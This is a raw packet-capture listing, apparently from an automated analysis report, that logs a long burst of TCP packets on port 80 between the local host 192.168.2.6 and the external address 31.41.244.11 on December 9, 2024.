Dec 9, 2024 21:09:10.307461023 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.310282946 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.310328007 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.310411930 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.310452938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.313170910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.313213110 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.313235044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.313296080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.425375938 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.425446033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.425553083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.425595999 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.426821947 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.426871061 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.426889896 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.426932096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.428581953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.428627968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.428698063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.428740978 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.431170940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.431212902 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.431235075 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.431281090 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.433734894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.433783054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.433804989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.433845043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.436271906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.436335087 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.436424971 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.436467886 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.438909054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.438956976 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.438962936 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.438996077 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.441102028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.441152096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.441277027 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.441318989 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.443551064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.443598986 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.443722963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.443767071 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.445951939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.445998907 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.446127892 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.446173906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.448425055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.448472023 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.448492050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.448534012 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.450716972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.450786114 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.450793028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.450839996 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.453166962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.453231096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.453388929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.453430891 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.455578089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.455622911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.455785990 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.455833912 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.457953930 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.457994938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.458000898 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.458049059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.458060026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.460410118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.460455894 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.460478067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.460544109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.462832928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.462882042 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.462960005 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.463020086 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.465276957 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.465325117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.465385914 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.465430021 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.467602015 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.467647076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.467719078 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.467761993 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.470002890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.470051050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.470098972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.470144987 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.472423077 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.472469091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.472575903 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.472619057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.474868059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.474912882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.474982023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.475027084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.477180004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.477226019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.477278948 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.477319956 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.479594946 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.479654074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.479660988 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.479706049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.481981993 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.482028008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.482089996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.482136011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.484483004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.484529972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.484548092 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.484589100 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.487029076 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.487071991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.487236977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.487278938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.489222050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.489265919 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.489336014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.489378929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.491610050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.491655111 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.491748095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.491790056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.494009972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.494052887 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.494143963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.494182110 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.496417046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.496462107 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.496510029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.496551991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.498951912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.499013901 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.499032974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.499077082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.501235008 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.501276970 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.501374960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.501411915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.503735065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.503782988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.503798008 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.503839016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.506047964 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.506098032 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.506151915 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.506200075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.508429050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.508476973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.508488894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.508531094 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.510910034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.510968924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.511064053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.511106968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.513324976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.513370037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.513463020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.513510942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.515671015 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.515714884 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.515779972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.515821934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.518086910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.518131971 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.518184900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.518224955 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.520458937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.520500898 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.520569086 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.520612001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.522927046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.522974014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.522984982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.523027897 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.525325060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.525374889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.525459051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.525505066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.527698994 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.527745008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.527756929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.527798891 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.530078888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.530133009 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.530173063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.530215025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.532536983 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.532597065 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.532701969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.532746077 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.534864902 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.534910917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.535008907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.535052061 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.537312984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.537362099 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.537373066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.537414074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.540251017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.540293932 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.540354967 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.540395975 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.542100906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.542150021 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.542161942 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.542206049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.544518948 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.544572115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.544610023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.544647932 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.636436939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.636451006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.636615038 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.636770010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.636825085 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.637578011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.637630939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.637758970 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.637800932 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.639548063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.639559031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.639590025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.641791105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.641840935 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.641959906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.642003059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.643776894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.643790007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.643816948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.643837929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.646140099 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.646186113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.646239042 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.646276951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.648590088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.648601055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.648638964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.648648977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.650449991 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.650495052 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.650630951 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.650671959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.652868986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.652879953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.652914047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.652921915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.654803991 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.654856920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.655004025 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.655050039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.656965017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.657016039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.657099962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.657147884 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.659389973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.659399986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.659432888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.661391973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.661443949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.661971092 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.662025928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.663712025 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.663727999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.663762093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.663781881 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.666007996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.666044950 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.666193008 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.666239023 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.668229103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.668277979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.668296099 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.668346882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.670478106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.670488119 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.670526981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.671857119 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.671905041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.672032118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.672075987 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.673443079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.673485994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.673614979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.673655033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.675044060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.675088882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.675225019 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.675270081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.676564932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.676610947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.676734924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.676776886 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.679589987 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.679631948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.679652929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.679686069 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.679706097 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.679742098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.679873943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.679914951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.681449890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.681495905 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.681787968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.681830883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.683047056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.683090925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.683180094 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.683218956 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.684617043 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.684665918 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.684686899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.684730053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.686060905 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.686106920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.686161995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.686203003 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.687683105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.687742949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.687807083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.687855959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.689265013 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.689316034 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.689337969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.689379930 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.690937996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.690985918 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.691004038 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.691041946 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.692465067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.692512989 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.692536116 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.692583084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.694123983 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.694169044 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.694220066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.694262981 CET	49859	80	192.168.2.6	31.41.244.11
